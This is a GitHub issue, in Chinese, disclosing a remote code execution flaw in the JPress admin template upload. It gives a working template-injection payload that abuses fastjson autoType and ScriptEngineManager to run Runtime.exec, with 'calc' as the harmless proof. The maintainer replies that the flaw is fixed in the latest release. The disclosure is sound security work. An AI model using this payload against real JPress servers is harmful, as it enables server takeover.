Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

jpress后台存在命令执行漏洞-模板上传 #169

Closed
Er1cccc opened this issue Jan 9, 2022 · 1 comment
Closed

jpress后台存在命令执行漏洞-模板上传 #169

Er1cccc opened this issue Jan 9, 2022 · 1 comment

Comments

@Er1cccc
Copy link

Er1cccc commented Jan 9, 2022

审计过程

jpress后台存在模板上传功能,不过存在些许过滤,我们使用fastjson来辅助获取ScriptEngineManager,然后执行任意js代码,就可以实现rce,payload如下

#set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance()) 
#(x.setAutoTypeSupport(true)) #(x.addAccept("javax.script.ScriptEngineManager")) 
#set(x=com.alibaba.fastjson.JSON::parse('{"@type":"javax.script.ScriptEngineManager"}'))
#set(e=x.getEngineByName("js")) 
#(e.eval('java.lang.Runtime.getRuntime().exec("calc")'))

效果演示

弱密码进入后台,修改上传evil.html
image-20211221221541437

访问http://localhost/evil,可以看到计算器弹出,漏洞验证成功

image-20211221221558381

@JPressProjects
Copy link
Owner

在 jpress 最新版本中已解决。

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants